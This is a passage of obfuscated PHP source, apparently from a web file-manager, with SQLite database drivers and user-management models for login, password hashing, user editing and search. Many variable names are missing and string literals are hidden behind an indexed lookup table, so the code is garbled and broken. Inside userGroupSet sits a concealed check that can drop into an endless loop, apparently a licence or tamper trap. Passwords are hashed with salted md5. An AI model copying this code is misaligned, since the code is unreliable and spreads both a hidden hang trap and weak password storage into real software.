0; } return !0; } private function getAll() { $蘗 = array(); if ($this->numRows > 0) { for ($ڸ = 0; $ڸ < $this->numRows; $ڸ++) { $蘗[$ڸ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $蘗; } public function getFields($۱) { $ =& $_SERVER[]; $ = $this->query($[29] . $۱ . $[30]); $뎘 = array(); if ($) { foreach ($ as $ => $) { $뎘[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $뎘; } public function getTables($§ = '') { $ѩ =& $_SERVER[]; $ӌ = $this->query($ѩ[45] . $ѩ[46] . $ѩ[47]); $쥬 = array(); foreach ($ӌ as $ύ => $ŘDZ) { $쥬[$ύ] = current($ŘDZ); } return $쥬; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $Ԭ =& $_SERVER[]; $Ѩ = sqlite_last_error($this->_linkID); $this->error = $Ѩ . $Ԭ[4] . sqlite_error_string($Ѩ); if ($Ԭ[12] != $this->queryStr) { $this->error .= LNG($Ԭ[48]) . $this->queryStr; } think_trace($this->error, $Ԭ[12], $Ԭ[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($Ôԥ) { $ɫ =& $_SERVER[]; $퍴 = $ɫ[12]; if (!empty($Ôԥ)) { $Ôԥ = explode($ɫ[50], $Ôԥ); if (count($Ôԥ) > 1) { $퍴 .= $ɫ[51] . $Ôԥ[1] . $ɫ[52] . $Ôԥ[0] . $ɫ[53]; } else { $퍴 .= $ɫ[51] . $Ôԥ[0] . $ɫ[53]; } } return $퍴; } } class DbSqlite3Base extends Db { public function __construct($쾮 = '') { $ =& $_SERVER[]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($쾮)) { if (!isset($쾮[$[16]])) { $쾮[$[16]] = 438; } $this->config = $쾮; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $Έ = 0) { $ʡ =& $_SERVER[]; if (!isset($this->linkID[$Έ])) { if (empty($)) { $ = $this->config; } $this->linkID[$Έ] = new SQLite3($[$ʡ[21]]); if (!$this->linkID[$Έ]) { think_exception($this->linkID[$Έ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$Έ]->busyTimeout(30000); if (1 != think_config($ʡ[22])) { unset($this->config); } } return $this->linkID[$Έ]; } public function free() { $this->queryID = null; } public function query($) { $ܺˏ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ܺˏ[23], 1); think_status($ܺˏ[24]); $this->queryID = $this->_linkID->query($); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $΄ = $this->getAll(); $this->numRows = count($΄); return $΄; } } public function execute($܀) { $ƞ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $܀; if ($this->queryID) { $this->free(); } think_action_status($ƞ[25], 1); think_status($ƞ[24]); $̛ = $this->_linkID->exec($܀); $this->debug(); if (!1 === $̛) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $; } $this->queryID->reset(); return $; } public function getFields($) { $Φ =& $_SERVER[]; $ = $this->query($Φ[29] . $ . $Φ[30]); $ϒ = array(); if ($) { foreach ($ as $ʗ => $) { $ϒ[$[$Φ[32]]] = array($Φ[32] => $[$Φ[32]], $Φ[33] => $[$Φ[33]], $Φ[35] => (bool) ($[$Φ[35]] === $Φ[12]), $Φ[37] => $[$Φ[56]], $Φ[39] => (bool) $[$Φ[57]], $Φ[42] => (bool) $[$Φ[57]]); } } return $ϒ; } public function getTables($્ = '') { $ =& $_SERVER[]; $䆌 = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($䆌 as $ƭ => $) { $[$ƭ] = current($); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $Ÿȗ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($Ÿȗ[58], $Ÿȗ[59], $); } public function parseLimit($) { $ߙ֕ =& $_SERVER[]; $ = $ߙ֕[12]; if (!empty($)) { $ = explode($ߙ֕[50], $); if (count($) > 1) { $ .= $ߙ֕[51] . $[1] . $ߙ֕[52] . $[0] . $ߙ֕[53]; } else { $ .= $ߙ֕[51] . $[0] . $ߙ֕[53]; } } return $; } } goto Eт; F񕄥: class UserFavModel extends ModelBase { protected $tableName = "\x75\x73\145\x72\137\146\x61\x76"; protected function cacheFunctionAlias($ț) { $Ҿ =& $_SERVER[]; return array($Ҿ[2077] => array(USER_ID, $Ҿ[2444])); } protected function listData() { $ =& $_SERVER[]; $ħ = array($[1754] => USER_ID, $[557] => 0); $죉ۃ = $[2445]; $ = $this->field($죉ۃ)->where($ħ)->order($[2446])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ɝ =& $_SERVER[]; $ = $this->listData(); $ُ = array_filter_by_field($, $ɝ[33], $ɝ[490]); $ھ = array_to_keyvalue($ُ, $ɝ[12], $ɝ[87]); if (!$ھ) { return $; } $̤胂 = 2000; $͙ = array($ɝ[491] => array($ɝ[492], $ھ)); $Хُ = Model($ɝ[899])->listSource($͙, $̤胂); $Хُ = array_merge($Хُ[$ɝ[86]], $Хُ[$ɝ[85]]); $Хُ = array_to_keyvalue($Хُ, $ɝ[193]); foreach ($ as $Ɛ옛 => $) { $ = $Хُ[$[$ɝ[87]]]; $ = $ ? $ : array(); $[$Ɛ옛] = array_merge($, $); } return $; } protected function addFav($ȑ, $ = '', $Ѝ = "\x73\x6f\165\x72\x63\x65") { $͉ =& $_SERVER[]; $ = array($͉[1754] => USER_ID, $͉[557] => 0, $͉[496] => $Ѝ, $͉[495] => $ȑ); if ($this->where($)->find()) { return !1; } $ = array($͉[1754] => USER_ID, $͉[557] => 0); $Ӛ = $this->where($)->max($͉[1986]); if (!$Ӛ) { $Ӛ = 0; } if (!$ && $Ѝ == $͉[490]) { $ = Model($͉[1411])->where(array($͉[491] => $ȑ))->find(); if (!$) { return !1; } $ = $[$͉[32]]; } $ = $this->getAutoName($); $ = array($͉[1754] => USER_ID, $͉[557] => 0, $͉[494] => $, $͉[495] => $ȑ, $͉[496] => $Ѝ, $͉[1966] => $Ӛ + 1); return $this->add($); } protected function remove($) { $ԫ =& $_SERVER[]; $ϖ = array($ԫ[1754] => USER_ID, $ԫ[493] => $); return $this->where($ϖ)->delete(); } protected function removeByName($) { $ =& $_SERVER[]; $蛴 = array($[1754] => USER_ID, $[494] => $, $[557] => 0); return $this->where($蛴)->delete(); } protected function rename($, $) { $쬤 =& $_SERVER[]; if ($ == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $ = array($쬤[1754] => USER_ID, $쬤[557] => 0, $쬤[32] => $); return $this->where($)->save(array($쬤[32] => $)); } protected function resetSort($É) { $Կڄ =& $_SERVER[]; $É = is_array($É) ? $É : array(); $ = array($Կڄ[1754] => USER_ID); for ($ܫ = 0; $ܫ < count($É); $ܫ++) { $[$Կڄ[493]] = $É[$ܫ]; $this->where($)->save(array($Կڄ[1966] => $ܫ + 1)); } return !0; } protected function moveTop($Ƶ) { $̴ў =& $_SERVER[]; $침 = array($̴ў[1754] => USER_ID, $̴ў[557] => 0); $Ǿ = $this->where($침)->where(array($̴ў[32] => $Ƶ))->find(); if (!$Ǿ) { return; } $ = $this->field($̴ў[475])->where($침)->order($̴ў[2446])->select(); $ = array_to_keyvalue($, $̴ў[12], $̴ў[475]); $Օ = $; $ = array_remove_value($, $Ǿ[$̴ў[475]]); array_unshift($, $Ǿ[$̴ў[475]]); return $this->resetSort($); } protected function moveBottom($) { $ǫ =& $_SERVER[]; $څ = array($ǫ[1754] => USER_ID, $ǫ[557] => 0); $͝ = $this->where($څ)->max($ǫ[1986]); $ = array($ǫ[1986] => $͝ + 1); return $this->where($څ)->where(array($ǫ[32] => $))->save($); } private function getAutoName($Ą) { $ =& $_SERVER[]; $Ձ = array($[1754] => USER_ID, $[557] => 0); $ڟ = $this->field($[32])->where($Ձ)->select(); $ڟ = array_to_keyvalue($ڟ, $[12], $[32]); if (!$ڟ || !in_array($Ą, $ڟ)) { return $Ą; } for ($˞ = 0; $˞ < count($ڟ); $˞++) { if (!in_array($Ą . "\50{$˞}\51", $ڟ)) { return $Ą . "\x28{$˞}\51"; } } return $Ą . "\50{$˞}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\x65\x6d\56\152\157\x62\114\151\163\x74"; public $field = array("\156\x61\x6d\x65", "\144\145\163\143", "\x73\x6f\162\x74"); const JOB_KEY = "\x73\x65\154\146\112\157\142\114\151\163\x74"; public function listData($ţ = false, $ = "\163\157\x72\164", $Ŋ = false) { return parent::listData($ţ, $, $Ŋ); } public function remove($) { return parent::remove($); } public function add($) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $[$[1986]] = $this->getSort(); return parent::insert($); } private function getSort() { $ȟ =& $_SERVER[]; $͹ = parent::listData(); $Е = array_to_keyvalue($͹, $ȟ[12], $ȟ[1986]); return empty($Е) ? 0 : max($Е) + 1; } public function update($, $) { $٪ =& $_SERVER[]; $ⓨ = parent::listData($); $闭 = $this->findByName($[$٪[32]]); if (!$ⓨ || $闭 && $闭[$٪[475]] != $ⓨ[$٪[475]]) { return !1; } return parent::update($, $); } public function setUserJob($Ɓ, $Ѥ鞿) { $ق֎Ѹ =& $_SERVER[]; if (!is_array($Ѥ鞿)) { $Ѥ鞿 = array($Ѥ鞿); } $ƙ = parent::listData(); $տ = array_to_keyvalue($ƙ, $ق֎Ѹ[32]); $ = $ق֎Ѹ[454]; foreach ($Ѥ鞿 as $ş) { if ($տ[$ş]) { $ .= $տ[$ş][$ق֎Ѹ[475]] . $ق֎Ѹ[50]; } else { $ = $this->add($ş); $ .= $ . $ق֎Ѹ[50]; } } $ = rtrim($, $ق֎Ѹ[50]); Model($ق֎Ѹ[598])->metaSet($Ɓ, self::JOB_KEY, $); } public function getUserJob($⬰) { $ = Model($_SERVER[][598])->metaGet($⬰); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($ݺ) { $σ =& $_SERVER[]; $ړț = explode($σ[50], $ݺ); $Νއ = parent::listData(); $Νއ = array_remove_key($Νއ, $σ[231]); $Ǝ = array(); foreach ($ړț as $) { if (isset($Νއ[$])) { $Ǝ[] = $Νއ[$]; } } return $Ǝ; } } class UserModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72"; protected $tableMeta = array("\164\141\142\154\145\x4e\x61\155\x65" => "\165\x73\145\x72\137\x6d\x65\x74\141", "\x6d\145\x74\141\106\151\x65\154\x64" => "\x75\x73\145\162\111\104"); protected $simpleField = "\x75\163\x65\x72\111\104\x2c\x6e\151\143\x6b\x4e\x61\x6d\145\x2c\x6e\141\x6d\x65\x2c\141\166\x61\x74\x61\162\54\x73\x65\x78\54\163\x74\x61\164\x75\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($؁) { $ =& $_SERVER[]; $ʎ = $[2447]; return array($[2044] => array($؁[0], $ʎ), $[2046] => array($؁[0], $ʎ), $[2448] => array($؁[0], $ʎ)); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[][2048], $); } protected function getInfoFull($ɕڍ, $ = false) { $ = $this->getInfoSimple($ɕڍ); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[][2449], $ɕڍ); } private function _getInfoApply($수, $ = false) { $ث =& $_SERVER[]; if (!$수) { return $수; } $ۿ = md5($ث[2450] . $수[$ث[960]] . $ث[2451] . $수[$ث[32]]); $수 = $this->_listDataApplyItem($수); $ϛܼ = Model($ث[1411])->metaGet($수[$ث[90]][$ث[193]]); $수[$ث[2452]] = $ۿ; $수[$ث[90]][$ث[2243]] = isset($ϛܼ[$ث[2244]]) ? $ϛܼ[$ث[2244]] : null; if ($) { $수[$ث[539]] = $this->metaGet($수[$ث[1763]]); } return $수; } protected function getInfoSimple($Џ, $ѣ = false) { $ۚ =& $_SERVER[]; if (!$Џ) { return array(); } if ($ѣ) { $Ĺ = $this->where(array($ۚ[1763] => intval($Џ)))->find(); if (!is_array($Ĺ)) { return array(); } $Ĺ[$ۚ[2453]] = Action($ۚ[2454])->parseUrl($Ĺ[$ۚ[2453]]); return $Ĺ; } return $this->cacheFunctionGet($ۚ[2049], $Џ); } protected function getInfoSimpleOuter($) { $ =& $_SERVER[]; if (!$ || $ == 0) { return array($[1763] => $[228], $[32] => $[176] . LNG($[2455]) . $[178], $[2453] => STATIC_PATH . $[2456]); } $ԯ = $this->cacheFunctionGet($[2049], $); $˳ = array_field_key($ԯ, explode($[50], $this->simpleField)); if (!$˳) { return array($[1763] => $[1266], $[32] => $[176] . LNG($[2457]) . $[178], $[2453] => STATIC_PATH . $[2458]); } $˳[$[2453]] = Action($[2454])->parseUrl($˳[$[2453]]); return $˳; } protected function groupUser($) { } public static function errorLang($) { $굻 =& $_SERVER[]; $ = array(self::ERROR_USER_NOT_EXISTS => $굻[2459], self::ERROR_USER_PASSWORD_ERROR => $굻[2460], self::ERROR_USER_EXIST_NAME => $굻[2461], self::ERROR_USER_EXIST_PHONE => $굻[2462], self::ERROR_USER_EXIST_EMAIL => $굻[2463], self::ERROR_USER_LOGIN_LOCK => $굻[2464], self::ERROR_IP_NOT_ALLOW => $굻[2465], self::ERROR_USER_EXIST_NICKNAME => $굻[2466]); $է = LNG($[$]); if ($ == self::ERROR_USER_LOGIN_LOCK) { $‘ = (int) Model($굻[2467])->get($굻[2468]); if ($‘ > 60) { $է = str_replace($굻[91], ceil($‘ / 60), $է); } } return $է; } protected function metaSet($ݻ, $۞ = null, $А = null) { $this->clearCache($ݻ); return parent::metaSet($ݻ, $۞, $А); } public function getInfoByMeta($ݑ, $) { $ҖĈ =& $_SERVER[]; $ΐ = Model($ҖĈ[2469])->where(array($ҖĈ[97] => $ݑ, $ҖĈ[450] => $))->find(); if ($ΐ) { return $this->getInfo($ΐ[$ҖĈ[1763]]); } return !1; } public function userLoginCheck($୬, $) { $湧 =& $_SERVER[]; $Д = $this->userLoginFind($୬); if (!$Д) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($Д[$湧[1763]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($Д[$湧[1763]]); } public function userLoginFind($ǫ߾) { $ۨ߰ =& $_SERVER[]; $ = array($ۨ߰[32] => $ǫ߾, $ۨ߰[2256] => $ǫ߾, $ۨ߰[381] => $ǫ߾, $ۨ߰[2470] => $ǫ߾, $ۨ߰[1071] => $ۨ߰[1073]); if ($this->nickNameRpt()) { unset($[$ۨ߰[2256]]); } return $this->where($)->find(); } public function clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[2048], $); $this->cacheFunctionClear($[2049], $); $this->cacheFunctionClear($[2449], $); } public function userPasswordCheck($λ, $ڱ) { $ܴ =& $_SERVER[]; $ǿ = $this->where(array($ܴ[1763] => intval($λ)))->find(); $蕆 = $this->metaGet($λ); $ȣ = isset($蕆[$ܴ[2471]]) ? $蕆[$ܴ[2471]] : $ܴ[12]; if (md5($ȣ . trim($ڱ)) !== $ǿ[$ܴ[960]]) { return !1; } return !0; } public function userAdd($֗) { $ =& $_SERVER[]; $ = array($[494] => $֗[$[32]], $[2472] => $֗[$[2169]], $[2473] => isset($֗[$[381]]) ? $֗[$[381]] : $[12], $[2474] => isset($֗[$[2470]]) ? $֗[$[2470]] : $[12], $[2475] => isset($֗[$[2256]]) ? $֗[$[2256]] : $֗[$[32]], $[2476] => isset($֗[$[2453]]) ? $֗[$[2453]] : $[12], $[2477] => isset($֗[$[2478]]) ? $֗[$[2478]] : 1, $[2479] => $֗[$[960]], $[2050] => isset($֗[$[1948]]) ? $֗[$[1948]] : 1024 * 1024 * 20, $[2051] => 0, $[2480] => 0, $[2096] => isset($֗[$[817]]) ? $֗[$[817]] : 1); if (!empty($֗[$[1763]])) { $[$[1763]] = $֗[$[1763]]; } $ʩە = $this->_checkExist($֗); if ($ʩە !== !0) { return $ʩە; } if (!empty($[$[2453]]) && strlen($[$[2453]]) > 255) { $[$[2453]] = $[12]; } $‹ = $this->add($); $ժ = array($[2479] => $[$[960]], $[2475] => $[$[2256]]); $this->userEdit($‹, $ժ); Model($[1411])->userRootAdd($‹); return $‹; } protected function userEditTest($ެŒ, $) { return $this->call($_SERVER[][2481], $ެŒ, $); } protected function userEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $߭ = $this->_checkExist($, $); if ($߭ !== !0) { return $߭; } if (isset($[$[960]]) && trim($[$[960]]) != $[12]) { $Ɛю = $this->metaGet($); if (empty($Ɛю[$[2471]])) { $Ɛю[$[2471]] = rand_string(10); Model($[577])->metaSet($, $[2471], $Ɛю[$[2471]]); } $[$[960]] = md5($Ɛю[$[2471]] . trim($[$[960]])); } else { unset($[$[960]]); } if (!empty($[$[2453]]) && strlen($[$[2453]]) > 255) { $[$[2453]] = $[12]; } $this->where(array($[1754] => $))->save($); if (isset($[$[2256]])) { $this->setNamePinyin($, $[$[2256]]); } $this->clearCache($); return !0; } public function setNamePinyin($审, $ڙ׵ = false) { $ =& $_SERVER[]; if (!$ڙ׵) { $ = $this->getInfoSimple($审); $ڙ׵ = $[$[2256]] ? $[$[2256]] : $[$[32]]; } $˝ = Model($[598]); if (!Input::check($ڙ׵, $[655])) { return $˝->metaSet($审, array($[538] => $[12], $[537] => $[12])); } return $˝->metaSet($审, array($[538] => str_replace($[53], $[12], Pinyin::get($ڙ׵)), $[537] => Pinyin::get($ڙ׵, $[656]))); } private function nickNameRpt() { $ =& $_SERVER[]; $Ï = Model($[837])->get($[2482]); $ = $GLOBALS[$[6]][$[457]][$[2482]]; $ˆ = !is_null($Ï) ? $Ï : $; return !!$ˆ; } private function _checkExist($Ԩ, $Ԫ = false) { $ =& $_SERVER[]; $ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2256] => UserModel::ERROR_USER_EXIST_NICKNAME, $[381] => UserModel::ERROR_USER_EXIST_EMAIL, $[2470] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[2256]]); } $˔ = $Ԫ ? array($[1763] => array($[2483], $Ԫ)) : array(); foreach ($ as $Ʃ => $) { $َ = array(); foreach ($ as $ => $) { if (isset($Ԩ[$]) && $Ԩ[$]) { $َ[] = $Ԩ[$]; } } if (!$َ) { continue; } $ = array_merge(array($Ʃ => array($[7], $َ)), $˔); $ = $this->where($)->find(); if ($) { return $; } } return !0; } public function userListInfo($) { $բ =& $_SERVER[]; $߻ح = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $߻ح; } if (count($) < 20) { foreach ($ as $Ÿ) { $߻ح[$Ÿ . $բ[12]] = $this->getInfoSimpleOuter($Ÿ); } } else { $󨊫 = array($բ[1754] => array($բ[492], $)); if (count($) == 1) { $󨊫 = array($բ[1754] => $[0]); } $ϓ = Model($բ[577])->field($this->simpleField)->where($󨊫)->select(); $ϓ = array_to_keyvalue($ϓ, $բ[1763]); foreach ($ as $Ÿ) { $ݞ = $ϓ[$Ÿ]; if (!$ݞ) { $߻ح[$Ÿ . $բ[12]] = $this->getInfoSimpleOuter($Ÿ); continue; } $ݞ[$բ[2453]] = Action($բ[2454])->parseUrl($ݞ[$բ[2453]]); $߻ح[$Ÿ . $բ[12]] = $ݞ; } } return $߻ح; } protected function userStatus($, $ɓ) { $Ϋࢾ = $this->getInfoSimple($); if (!$Ϋࢾ) { return !1; } $ = array($_SERVER[][817] => $ɓ); return $this->userEdit($, $); } protected function userRemove($ʇ) { $ =& $_SERVER[]; $Ѡܙ = $this->getInfoSimple($ʇ); if (!$Ѡܙ) { return !1; } $ = array($[1754] => $ʇ); Model($[664])->where($)->delete(); Model($[2484])->where($)->delete(); Model($[2056])->where($)->delete(); Model($[2469])->where($)->delete(); Model($[1140])->where($)->delete(); Model($[2273])->removeUserAll($ʇ); Model($[899])->userRootRemove($ʇ); return $this->where($)->delete(); } protected function userGroupSet($ţ؛, $, $ = array()) { $ =& $_SERVER[]; if (!isset($_SERVER[$[846]]) || !isset($_SERVER[$[844]])) { $̀ߍ = $[951]; $׾ = $[847]; $ = $_SERVER[$[848]] . $[849]; $ = $׾($); $ = explode($[262], $); if (count($) < $[683]) { $п = $[850]; $п(); } $ه = $[952]; $ه($_SERVER[$[953]]); $ = 1; for ($ϒں = $; $ϒں > 0; $ϒں++) { $ه = json_encode($GLOBALS[$[492]]); } } $ = $this->getInfoSimple($ţ؛); if (!$ || !is_array($)) { return !1; } $Ь = Model($[2056]); $Ь->where(array($[1763] => $ţ؛))->delete(); $ۧۦ = array(); $ = 0; foreach ($ as $ƴ => $) { $Ǻ = array($[1763] => $ţ؛, $[1962] => $ƴ, $[2070] => $); $Ǻ[$[1986]] = isset($[$]) ? $[$] : 0; $++; $ۧۦ[] = $Ǻ; } return $Ь->addAll($ۧۦ, array(), !0); } protected function userGroupAdd($, $à = array()) { $б =& $_SERVER[]; $ؔ = $this->getInfoSimple($); if (!$ؔ || empty($à)) { return !1; } $ڿ䠛 = array(); foreach ($à as $͝ => $) { $ڿ䠛[] = array($б[1763] => $, $б[1962] => $͝, $б[2070] => $, $б[1986] => 0); } return Model($б[2056])->addAll($ڿ䠛, array(), !0); } protected function userGroupRemove($硈, $) { $Đ꒛ =& $_SERVER[]; $ = $this->getInfoSimple($硈); if (!$ || !$) { return !1; } $ҧ = array($Đ꒛[1754] => $硈, $Đ꒛[2054] => $); return Model($Đ꒛[2056])->where($ҧ)->delete(); } public function listData() { $ߊ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($ߊ[$_SERVER[][445]]); return $ߊ; } public function listByID($镆) { $ =& $_SERVER[]; if (!$镆) { return; } $ = array($[1763] => array($[7], $镆)); $à = $this->where($)->select(); $à = array_sort_keep($Ã, $[1763], $镆); $this->_listDataApply($Ã); return $Ã; } public function listByGroup($ = 0, $ = array()) { $ =& $_SERVER[]; $Ꙡ = $[12]; $ОҰ = array(); if ($) { $ОҰ = array($[2485] => intval($)); $Ꙡ = "\x4c\x45\x46\124\x20\112\117\111\116\40{$this->tablePrefix}\165\x73\x65\x72\137\147\162\157\165\160\40\165\x73\145\162\137\x67\x72\157\165\x70\40\x6f\156\40\x75\163\x65\162\56\165\163\x65\x72\x49\x44\x20\75\x20\x75\163\145\162\x5f\147\162\157\x75\x70\56\x75\163\x65\162\x49\x44"; $ = Input::get($[530], null, $[12]) ? $[12] : $[2486]; } if (isset($[$[817]])) { $ОҰ[$[2487]] = $[$[817]]; } $κ = $this->_makeOrder($)->field($[2488])->where($ОҰ)->join($Ꙡ)->selectPage(50); $this->_listDataApply($κ[$[445]]); return $κ; } private function _makeOrder($ߏ = '') { $ =& $_SERVER[]; $Ӱɏ = array($[1763], $[32], $[1950], $[2169], $[1922], $[231]); $ = array($[523] => $[524], $[525] => $[526]); $ = Input::get($[530], $[7], $[1754], $Ӱɏ); $ = Input::get($[531], $[7], $[2057], array($[2057], $[525])); $ = $[$]; $ߏ = $ߏ . "\165\x73\145\x72\56{$}\x20{$}\54\x20\165\x73\x65\x72\x2e\x75\x73\145\162\111\x44\40\x61\x73\143"; return $this->alias($[2185])->order($ߏ); } public function listSearch($ء) { $ =& $_SERVER[]; $ = trim($ء[$[2060]]); $ؑ = explode($[53], $); if (!$ || count($ؑ) == 1) { return $this->listSearchNow($ء); } $ = array($[445] => array()); foreach ($ؑ as $) { if (!trim($)) { continue; } $ء[$[2060]] = $; $ = $this->listSearchNow($ء); $[$[445]] = array_merge($[$[445]], $[$[445]]); } $[$[445]] = array_unique_by_key($[$[445]], $[1763]); $[$[442]] = array($[443] => count($[$[445]]), $[439] => 20, $[429] => 1, $[444] => 1); return $; } public function listSearchNow($΀) { $ =& $_SERVER[]; $ƒ = trim($΀[$[2060]]); $󒔳 = isset($΀[$[2061]]) ? $΀[$[2061]] : !1; $ƒ = str_replace($[2062], $[2063], trim($ƒ)); $ = array($[32] => array($[459], "\x25{$ƒ}\x25"), $[381] => array($[459], "{$ƒ}\x25"), $[2256] => array($[459], "{$ƒ}\45"), $[1071] => $[2064]); if (Input::check($ƒ, $[387])) { $[$[1763]] = array($[459], "{$ƒ}\45"); $[$[2470]] = array($[459], "{$ƒ}\45"); } if (!$ƒ) { $ = array(); } if (isset($΀[$[817]])) { $[$[817]] = $΀[$[817]]; } $ = $this->parseWhereLike($); $ϗ = $this->_makeOrder()->where($)->selectPage(20); if (!$ϗ || count($ϗ[$[445]]) < 5 && Input::check($ƒ, $[394])) { $۶ = $this->_searchFromMeta($[537], $ƒ, 10); $ґ͠ = $this->_searchFromMeta($[538], $ƒ, 10); $ꫢ = array_merge($۶, $ґ͠, $ϗ[$[445]]); $ϗ[$[445]] = array_unique_by_key($ꫢ, $[1763]); $ϗ[$[442]][$[443]] = count($ϗ[$[445]]); $ϗ[$[442]][$[444]] = ceil($ϗ[$[442]][$[443]] / $ϗ[$[442]][$[439]]); } $this->_listDataApply($ϗ[$[445]]); $this->_filterByGroup($ϗ, $󒔳); return $ϗ; } private function _filterByGroup(&$, $) { $ѣ =& $_SERVER[]; if (!$) { return $; } foreach ($[$ѣ[445]] as $՘ => &$޵) { $ = array_to_keyvalue($޵[$ѣ[2154]], $ѣ[12], $ѣ[1962]); if (!in_array($, $)) { unset($[$ѣ[445]][$՘]); } } unset($޵); $[$ѣ[445]] = array_values($[$ѣ[445]]); $[$ѣ[442]] = array($ѣ[2221] => count($[$ѣ[445]]), $ѣ[2219] => $[$ѣ[442]][$ѣ[439]], $ѣ[2218] => 1, $ѣ[2220] => 1); } private function _searchFromMeta($, $, $뼠) { $֗ =& $_SERVER[]; $ = strtolower($); $՜ = array($֗[97] => $, $֗[450] => array($֗[459], "\45{$}\45")); $՜ = $this->parseWhereLike($՜); $֑굇 = Model($֗[2489])->where($՜)->limit($뼠)->select(); if (!$֑굇) { return array(); } $֑굇 = array_to_keyvalue($֑굇, $֗[12], $֗[1763]); $ = $this->where(array($֗[1754] => array($֗[7], $֑굇)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($) { $̻ = array($); $this->_listDataApply($̻); return $̻[0]; } private function _listDataApply(&$ᓏ) { $ɯ =& $_SERVER[]; if (!$ᓏ) { return; } array_remove_key($ᓏ, $ɯ[960]); $Ţ = array_to_keyvalue($ᓏ, $ɯ[12], $ɯ[1763]); $this->_listAppendGroup($ᓏ, $Ţ); $this->_listAppendMeta($ᓏ, $Ţ); $this->_listAppendSourceRoot($ᓏ, $Ţ); } private function _listAppendSourceRoot(&$Հ, $삂̔) { $ź =& $_SERVER[]; $ה = Model($ź[899])->listSourceRoot(SourceModel::TYPE_USER, $삂̔); $ה = array_to_keyvalue($ה, $ź[569]); $ה = array_remove_key($ה, $ź[569]); foreach ($Հ as &$ѽ) { $ѽ[$ź[90]] = $ה[$ѽ[$ź[1763]]] ? $ה[$ѽ[$ź[1763]]] : array(); } unset($ѽ); } private function _listAppendGroup(&$Ū, $Ē˰) { $ =& $_SERVER[]; $ѤŬ = array($[1763] => array($[7], $Ē˰)); $ϸ = Model($[2056])->where($ѤŬ)->select(); $ԏ = array_to_keyvalue($ϸ, $[12], $[1962]); $ԏ = array_remove_value(array_unique($ԏ), $[228]); if (!$ԏ || !$ϸ) { return; } $ѤŬ = array($[1962] => array($[7], $ԏ)); $ = Model($[2152])->field($[2490])->where($ѤŬ)->select(); $ = array_to_keyvalue($, $[1962]); $ϸ = array_to_keyvalue_group($ϸ, $[1763]); foreach ($ϸ as &$̍) { $ = array(); foreach ($̍ as $) { if (!$[$[2070]]) { continue; } $ = Model($[571])->listData($[$[2070]]); $[] = array($[1962] => $[$[1962]], $[2491] => $[$[$[1962]]][$[32]], $[584] => $[$[$[1962]]][$[584]], $[487] => $); } $̍ = $; } unset($̍); foreach ($Ū as &$) { $[$[2154]] = array(); if (isset($ϸ[$[$[1763]]])) { $[$[2154]] = $ϸ[$[$[1763]]]; } } unset($); } public function userAppendGroup($݇) { $ =& $_SERVER[]; if (!$݇) { return array(); } $this->_listAppendGroup($݇, 